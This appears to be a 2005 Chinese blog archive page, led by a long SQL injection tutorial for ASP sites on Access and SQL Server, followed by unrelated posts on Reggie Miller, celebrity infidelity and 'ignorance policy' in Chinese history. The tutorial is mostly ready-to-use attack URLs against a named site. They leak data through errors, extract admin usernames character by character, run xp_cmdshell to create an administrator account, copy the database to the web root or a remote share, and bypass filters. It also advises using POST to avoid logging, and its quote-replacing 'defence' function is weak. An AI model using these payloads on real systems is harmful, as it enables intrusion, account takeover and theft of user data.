2005年05月20日
      引  言
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
    但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let’s Go…
入 门 篇
如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
第一节、SQL注入原理
以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。
在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:
Microsoft JET Database Engine 错误 ‘80040e14′
字符串的语法错误 在查询表达式 ‘ID=49” 中。
/showdetail.asp,行8
从这个错误提示我们能看出下面几点:
1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2.程序没有判断客户端提交的数据是否符合程序要求。
3.该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
第二节、判断能否进行SQL注入
看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?
其实,这并不是最好的方法,为什么呢?
首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的
那么,什么样的测试方法才是比较准确呢?答案如下:
http://www.19cn.com/showdetail.asp?id=49
http://www.19cn.com/showdetail.asp?id=49 and 1=1
http://www.19cn.com/showdetail.asp?id=49 and 1=2
这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
可以注入的表现:
① 正常显示(这是必然的,不然就是程序有错误了)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。
第三节、判断数据库类型及注入方法
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.19cn.com/showdetail.asp?id=49 and user>0
这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
进 阶 篇
在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A)  ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
 
    最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
Access:asc(字符)  SQLServer:unicode(字符)
作用:返回某字符的ASCII码
Access:chr(数字)  SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L)  SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字)  SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C  SQLServer:A between B And C
作用:判断A是否界于B与C之间
第三节、中文处理方法
    在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
    了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。
高 级 篇
看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
第一节、利用系统表注入SQLServer数据库
    SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name password /add"–
  分号;在SQLServer中表示隔开前后两句语句,–表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"–
  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
  ③ http://Site/url.asp?id=1 and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;–
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
  ⑤ http://Site/url.asp?id=1 and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
http://Site/url.asp?id=1 and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4…就可以逐个获取所猜解表里面的字段名。
  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U',字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
防 范 方 法
SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:
Function SafeRequest(ParaName,ParaType)
       ‘— 传入参数 —
       ‘ParaName:参数名称-字符型
       ‘ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
       Dim Paravalue
       Paravalue=Request(ParaName)
       If ParaType=1 then
              If not isNumeric(Paravalue) then
                     Response.write "参数" & ParaName & "必须为数字型!"
                     Response.end
              End if
       Else
              Paravalue=replace(Paravalue,"’","”")
       End if
       SafeRequest=Paravalue
End function
文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。

Thank You!Reggie! 

忠诚与理想,在现役球员中,还有人可以比米勒做的更好么?从新秀年效力印第安纳,到收官战仍然在印第安纳,他拒绝离开,甚至拒绝为了总冠军戒指而改穿其他颜色战袍。在米勒眼中,指环至高无上,忠诚却更凌驾指环之上,他需要戒指,但一定要身披步行者31号球衣戴上戒指,如果做不到,宁愿两手空空而退!

  年轻球迷并不了解米勒,太多太多的年轻人眼中,米勒的价值在于神出鬼没的“Miller Time”,但“Miller Time”恰恰不是最精彩的篇章。乔丹是伟大的得分手,与米勒差不多年代的“滑翔机”德雷克斯勒也是,米勒与他们截然不同,骨瘦如柴仿佛很少吃饭,持球强行突破的能力与乔天皇抑或滑翔机不可同日而语,可米勒却愣是90年代整个联盟最具备竞争力的球队领袖之一。

  作为射手,也作为球队领袖,这都意味着无穷无尽的压迫贴身会让任何一个射手都无法获得投篮空间,米勒却可以凭借其洞察比赛虚实的目光,通过掩护挡拆等等并不繁琐的手段获得摆脱返跑持球第一时间转身投篮的机会。若是从掩护战术的阅读能力来看,米勒可能是过去20年来NBA第一人,仅仅就掩护摆脱这一项,即便乔丹都无力与米勒分庭抗礼,相比登峰造极的掩护摆脱能力,“米勒时刻”争夺的方寸胜负反而显得落了下乘。阅读比赛?对,米勒就是这样做的,一做就是无怨无悔的18个赛季,乐此不疲,即便暑假也不例外,他都会跑到大学找几个NCAA球员打对抗战保持运动状态。

  看球多年,见惯NBA这一亩三分地上见利忘义翻脸无情的风云,也见惯球场上诡异变换惊心动魄的时刻,俺一直以为自己的心灵已经麻木,麻木到联盟中不会有任何事情可以让俺动容,可“米勒时刻”也许是一个例外,每一次出现都让俺百看不厌,即便出现的频率已经越来越低。

  很久没有过热泪盈眶,上一次出现鼻子一酸的时候,是常规赛季中米勒最后一次造访纽约麦迪逊广场花园,赛后一张媒体照片让俺为之震撼。那是一张ESPN摄影记者从场内仰拍看台的角度所摄的照片,一眼看去,球迷的面目都非常模糊或者说即便清晰也没有人会去关注球迷的面貌,他们看去表情都是如此虔诚且显得雷同,虽然黑白胖瘦男女老少皆有,共同点却是纽约球迷们手中都高举着一块白底红字的正方形标语:“Thank You!Reggie!”

  在米勒的职业生涯中做客麦迪逊广场花园多少次?这不重要,纽约人永远知道的是,麦迪逊这一方篮球圣土,是“米勒时刻”爆发最频繁的地方,米勒曾经无数次伤害过纽约球迷,无数次把致命绝杀送进尼克斯的篮筐完成逆转,也无数次一骑当千上演过一人面对数百纽约球迷互相用粗话脏话对骂的场面,可纽约人却把最后的致敬给了这位伟大的敌人。

  最后一战,没有“米勒时刻”的大逆转,米勒16投11中,三分球8投4中,27分2篮板2助攻,步行者79比88败北,2比4大比分出局。米勒走了,还是没有戒指,但他带走NBA中的一道风景,一道忠诚无价的风景。

  Thank You!Reggie!江湖不再有飞刀,世间也不再有荡气回肠的“米勒时刻”,步行者的灵魂离开了,而且是永远。

 

2005年05月18日

如果有一天,你的未婚夫对你说:“我已经征得以前女友的同意,她说可以接受我和你结婚,但是你必须同意我和她继续来往,并且每年有一个固定假期和她一起度过。你愿意吗?” 你会怎么样?也许你会说,我会给他一记耳光。慢一点,假如这个男人是比尔·盖茨呢?

  所有人都知道比尔·盖茨爱安·温布莱德,但是母亲反对,他不得不放弃娶她的计划。现在他向你求婚,如果你说“YES I DO”,那么就意味着你允许他和她继续来往,并且在日后的婚姻生活中永远对他们的亲密关系睁一只眼闭一只眼。

  你会说YES I DO还是NO I DON’T?

  你不会告诉我说,你将轻蔑地看他一眼或给他一记清脆的耳光,然后在离开之前还不忘说几句简爱式的台词:“你以为我穷,不美,就没有感情吗?”

  如果你这样做了,你可能再也没有机会成为全球首富的妻子——TIFFANY珠宝店不会为你要挑选婚戒而破例在星期日营业,但是他们可以为比尔·盖茨的未婚妻做到这一点,在某一个星期日上午只对她一个人开放。尽管天下人都知道你的丈夫和另一个女人关系非同寻常,但是毕竟住在西雅图市郊华盛顿湖边豪宅中的是你不是她,在群屋之中,不止有电影院娱乐中心健身房,还包括一个巨大的游泳池和一个18米高的瀑布 ——如果你宽容,那么这一切就都是你的。

  世人常常议论盖茨的妻子美琳达,她怎么能接受这么屈辱的条件?倘若换一个男人,她还肯这样委屈自己吗?

  当然不肯。女人对男人,就像世人对世人。一般来说,人们对待富人、名人的耐心总是要比其他的人多一点的,大家心知肚明,所以谁也不必笑话谁。 曾经看过一本书,是一个女作家写的,上面有一段话,内容大意是说:“绝对不要宽容一个男人的出轨,你宽容他一次,他就会有第二次。”

  女作家的话没有错。对于普通男人来说,当然不能宽容他的任何一次出轨,因为他根本不具备被宽容的资格,但是倘若是“价值连城”的老公呢?比如像贝克汉姆那样的,即便是维多利亚—— 她是歌星、模特、畅销书作者、全世界公认最会穿衣服的女人,面对丈夫的N 多绯闻,不是一样要露出大方的微笑?报纸连篇累牍地报道大卫·贝克汉姆与一个三版女郎在床上“吃草莓” 的种种细节,而他的妻子却体谅地表示:“我有一个完全忠诚的丈夫,我真为大卫感到难过,因为他并没有做错什么,都是他的名声给他惹出了麻烦。”

  当贝克汉汉姆发送给其他女人的风流短信成为全英格兰最受欢迎的填字游戏时,维多利亚却挽起球星丈夫的手臂带着宠物和孩子频频出现在各种度假场所。也许她已经习惯了?或许她更成熟了?她第一次在媒体公开上读到丈夫的出轨“事迹”是在怀孕5个月的时候,那一次她几乎崩溃,但后来经历的次数多了,她反倒可以轻松地把自己置身事外。该度假度假该亲密亲密,在接受记者采访时,她说:“对我来说,她们都是同一种女人。大卫的感受和我是一样的。”

  其实,维多利亚自己又是哪一种女人?她和她们有什么区别吗?说到底没有什么区别,女人和女人之间能相差到哪里去?不过她是他的妻子,而她们是他的情人。如果贝克汉姆不是著名球星,她还会有那么好的耐心听他忏悔;而她们还会明知他有老婆却依然飞蛾扑火?

  所以,准确地说,她和她们都是同一种女人。在她们的口袋里装着很多把尺子,这些尺子的刻度随着男人的富有度和知名度而变化。当她们遇到平庸的男人,她们一定会拿出最苛刻的尺子。但是如果那男人是贝克汉姆,她们根本就不会想到什么尺子。女人对男人的态度就是这样,专制跋扈,毫无公平可言。

  常常听男人抱怨说现代女性脾气多不好,从野蛮女友到野蛮师奶,全都是一点不是立刻做狮吼状,一点不温柔。

  我心说,那是因为她们觉得你还配不上她们的温柔——女人青春短暂,她看着你不成器,哪里还有好脾气好脸色?不要怨女人势利,假如你是位王子,她一定千依百顺,即使你让她伤了心,发了脾气,但是她还是能原谅你。她即使发怒,在掌握时间和爆发力度上,也不会一点分寸没有。

  一日,一干人闲来无事坐在酒吧聊天,不知道谁先提起话头,说起成龙和林凤娇的往事。林凤娇当年是与林青霞平分秋色的影星,但她激流勇退选择了做成龙的“地下太太”,隐姓埋名20年。中间成龙闹出无数风流韵事,甚至生了“小龙女”以后还说:“我只是犯了每个男人都会犯的错”——如果不是成龙,其他男人犯这样的错,女人会怎样?

  一女友撇撇嘴说,总之要是我,就绝不原谅。

  另一女友针锋相对:恐怕不会有男人要你原谅吧?

  确实如此,男人不要责怪女人势利,就男人自己而言,又何尝不是这样?一对男女辛苦创业,终于算是事业有成,男人犯了“每个男人都会犯的错”,女人想一想两个人当初白手起家的艰难以及小孩子的前途,对男人说:我能原谅你,只要你不再和她来往。

  你猜男人说什么?他说:“你可以不原谅我,但我想和哪个女人来往不是你要管的事。”说穿了,男人对女人也是没有公平可言的——他喜欢你,你才有资格选择是“宽容”还是“不宽容”,假如他已经不喜欢你了,你即便愿意做一个宽容的女人,他也不见得给你机会。

  言归正传,换了你是林凤娇,你会怎样?说老实话,选择真的很有限——或者死给他看,当年翁美龄不就是死给汤镇业看了吗?事隔多年,依然替她不值,何苦呢?或者打他骂他与他离婚,这样的例子也多得很。国内一著名导演的原配夫人曾写过一本书《往事如烟》,又怎样呢?她终于失去了他。或者默默地但坚强地离开,去闯自己的一片新天地。可这样做很难的,你能吃得了那份苦吗?

  所以大多数女人会像阿娇学学,在没有更好的选择以前,不如就原谅他吧——终归他是自己的男人,终归他是成龙,终归原谅之后,他为她举办了盛大的生日派对,送她价值200万的劳斯莱斯做生日礼物,当众大喊她“老婆”,同时正式宣布,她已为自己亿万身家的合法继承人。

  好在世间男人值得女人如此大度的并不多。当一个男人并不像比尔·盖茨那样富可敌国,也不如贝克汉姆那样英气逼人,甚至连成龙的一半才华也没有,女人实在没有必要为他忍辱负重——这是女人的势利还是无奈呢?

2005年05月17日

在中国,愚民政策有没有,昨天问了几个网友,回答是肯定的。到了什么程
度,大家都说不清楚,本文仍以写到哪算哪的作风,随心所欲,权做考古,绝不
意未尽而言止。

  卷一

  什么是愚民政策

  最早见到愚民两个字,是在中国的教科书上,忘了是什么时候,但写的主要
是国外和古代,从时空论,和现政府现制度是没有干系的,在此亦不作深究。那
么什么是愚民呢?愚者,愚弄也。民者,大众也。愚民即愚弄大众。愚民政策就
是当局为了一己之私,而推出的愚弄人民,使其愚氓无知,闭目塞听的政策。

  A :愚民政策发端秦始皇把民女强奸了

  但还没来得及将她揽在怀里就死了。

  吴晗同志曾在《论贪污》中称整个一部二十四史就是一部贪污史。其实从民
众教化的角度上来说,又何尝不是一部愚民史。愚民政策古已有之,从中国通史
看,发端于一个私生子皇上――秦始皇,虽然私生是偷偷摸摸的份,愚民却是明
目张胆的,秦始皇的确没给中国政治开个好头,焚书坑儒也在历史上以骂名传世,
直至今日,人们仍能闻到其中的血腥味。秦建立中央集权制,那时衣服旌旗均以
黑色为贵,而庶民也以黑布缠头,号称黔首,过上了一阵子,“黔首安宁,不用
兵革”的日子。

  皇帝自称为朕,不过那时皇帝好搞兼职,所以宰相的事他也不并做了(宰相
在现在就是总理的意思)。《中国通史》中的说法是“政事不论大小,全由皇帝
裁决”。

  也许是由于太多的政事缠身,秦始皇并没有将愚民政策推广到登峰造极的地
步。在维护统治方面,秦始皇做的有两件事是较为突出的,一是从独廷尉李斯的
建议,将秦以外的史书全部焚毁,私人所藏儒家经内和诸子书都当干柴烧掉,聚
谈诗书者斩首,理由是“儒生不师今而学古,各尊私学,诽谤朝政,惑乱民心”
(《中国通史卷二19页》)。这就是历史上有名的焚书坑儒事件。不过,这里的
书并非全烧尽了的,医药、占卜及农作物的书不属烧禁之列。始皇心知肚明,民
众虽不可施以教化,但不可不强身健体,所谓思想不可杂草丛生,但田间不可不
繁荣锦秀,而始皇几次出巡,“以示强威,服海内”时也不能不有个风水算卦的
先生跟着,几千年后,人们还喊着“开展体育运动,强健人民体质”便是从那时
起的。作物书虽然几千年没有大的进展,黔首们仍只有面朝黄土北朝天的份,但
农也早已纳入了科学的范畴,为人津津乐道。

  光愚弄其精神,野蛮其体魄是不够的。秦始皇做的另一件大事是造宫室,其
实造宫室,除了收集天下美女外,还搜集天下兵器,将其销毁,然后在阿房宫前
殿,筑成十二个铜人,重各二十四万斤,据称,为防有人携兵器入阿房宫,还设
了磁石。所谓谋事在人,成事在天,天既有眼,独夫难为,之后的事是始皇帝没
有想到了。没有兵器的民众揭竿而起,这就是陈胜吴广领导农民兄弟的起义;没
读过书的项羽刘邦杀进了阿房宫,“项羽入关,烧秦宫室,火三月不息”。

  中国文化和动荡的年代有缘,春秋战国时期也成了中国历史上的光辉岁月,
百花齐放,百家争鸣,其时的诸多学说,开创了中国未来诸多学派的先河,而秦
始皇统一甫定,立刻闻出了百家是异端邪说,要把藏在民间的书付之一炬。焚书
坑儒只是让人无书可看,或索性不看书,所以那时的民众还是不失天性的。和其
后统治者比,秦始皇也只是小儿科,区区阿房宫还不够交学费的。

  如果说民意是个女人,焚书坑儒,实际上也只是光天化日下绑架民女的行径,
虽罪恶,但也只是将她关起来,虽然偶有动手动脚的嫌疑,但主要还是让民女隔
离大千世界,至于民女怎么想的,秦皇老儿并不知晓,由于秦皇忙于日理万机,
劳顿不堪,还没来得及将民女揽在怀里,便在出巡的路上病死。时为前二一零年,
三年后,秦朝灭亡。

  B :汉武帝骑着他的《公羊》开始愚民

  该死的,民女被诱奸了还被蒙在鼓里。

  以史为鉴,照见未来。在推翻秦制后建起来的汉统知道如何总结历史经验,
汉武帝的确是站在前人肩膀上高瞻远瞩的一位。

  前二零六年,集文盲与流氓大成者刘邦夺得天下,建汉,号汉高帝。中国愚
民政策有了进一步发展。据史料载,汉高帝用太牢祭孔子,承认儒学在学术上的
正统地位,但西汉前期,指导政治的学说是黄老刑名之学,阴阳五行次之,儒学
也只有替人打酱油的份。从黄老刑名之术,到《公羊》学的盛行,汉时政治进入
成熟时期。从霸(刑名)王(儒)道,到纯儒学,愚民政策也羽翼渐丰。昔时秦
皇,只知秦家天下,而到汉时,纯儒学的政治主张实际将统阶阶级完全的划分到
一个阶级的份上。纯儒学政治使上下层豪强得到兼并的便利,同时也形成了大一
统的思想,“四海一家”指的就是全世界都是一家子,都听皇帝老儿的。

  汉武帝采用董仲舒的意见,独尊董仲舒与公孙弘的《春秋公羊》,罢黜百家。
西汉前期,为官有三条途径,一是郎官,家有中等财产,自备车马薪水,可进京
做官。

  二是在本郡做官,不限财产。三是由大官老爷征召。而汉武帝在独尊儒术后,
昔日的黔首们也开始官迷心窍,兴高采烈地赶着大好前程去了。这就是那时的孝
廉与茂才制度。儒学与做官结合起来,武帝说,只要你们顺从我的《公羊》,我
就给你们好官做。董仲舒与公孙弘也是深得主子的好处的。当时“古董”成了西
汉今文经学中最大的儒者,而“老公”则做了丞相,封平津候。

  汉武帝牵出他的《春秋公羊》,是因为《春秋》有孔子的名份,是专诛乱臣
贼子的著作,而到了董仲舒的嘴里,便出了阴阳怪调。的确,董仲舒的哲学是《
易经》阴阳学说的引申。董说,凡事有阳就有阴,有上就有下,有顺必有逆,有
昼必有夜。所谓“凡物必有合”、“合各有阴阳”。董的阴阳怪调是,阳性尊,
阴性卑,君、父、夫是三阳(三纲),臣、子、妻则属阴。中国几千的封建糟粕
便是从此开始,君君臣臣父父子子,生出一帮奴才。据其阴阳怪调,引而申之,
有愚必有被愚,有强奸必有被奸。而为了当官,进取向上,有事业心,做新时代
的好青年,就只有皓首穷经的份。据载,武帝后的百年间,因为士人求仕必通儒,
因此没少耗费青春。据称有个研究《书经》的大师秦延君,用十多万字来解释《
尧典》中的两个字,用三万字解释“曰若稽古”四个字。其实这些秦大师,虽然
通了经文,但却也只有当愚氓的份,不过,虽然受苦受累,但也算是白发而立,
事业有成;愚公读经,公而生子,子而生孙,总有一年能把经书读透,彻底体会
经中央的精神。

  汉武帝作为西汉时的领袖,其英明在于他不像秦始皇那样去焚书坑儒,而是
让大家“有书读,读好书”。直到二十一世纪,人们还能见到身穿马褂的人在大
街上点着油灯,彼志不移,令人唏嘘。只是他们仍未明白,因为那点功名利禄而
被诱奸,自己早已成了行尸走肉,却还和《公羊》撒着欢打着滚呢。

C :朱熹挥舞着刀子,把辫子咬在嘴里,表演割阴的艺术

  被虐奸的性奴痛苦地呻吟着。

  几年前,世界卫生组织曾进行过一次调查,目前至少36个国家1.2 亿的妇女
被割去阴唇。不过,这大多数都发生在非洲的一些国家约定俗成的仪式。事实上,
在肉体上的阉割远不如中国古代文明中的阉割来得漫长。精神与思想上的阉割在
宋朝的中国进入了它的鼎盛时期。国人的欲望与创造力也成了裹脚布里的敲烂的
碎玻璃渣子,稍一动弹便会有十指连心之痛。

  自孔子创立儒学以来,儒学前后有几次大的变化,首先是战国孟轲,之后的
董仲舒,然后便是宋朝的程朱理学。历朝历代的统治者,为了维护自己的统治,
都会有一种大一统的思想,而这种思想似乎只是来自统治阶级,或是民间的思想,
在阉割了真实性与真诚以后的御用。宋朝的理学便是如此。

  几百年后人们将朱熹从坟墓里挖出来对话,不仅是因为他的英名,更是因为
他曾经在中国渊远流长的愚民历史长河中掀起过巨浪。直至今日,仍余波未逝。
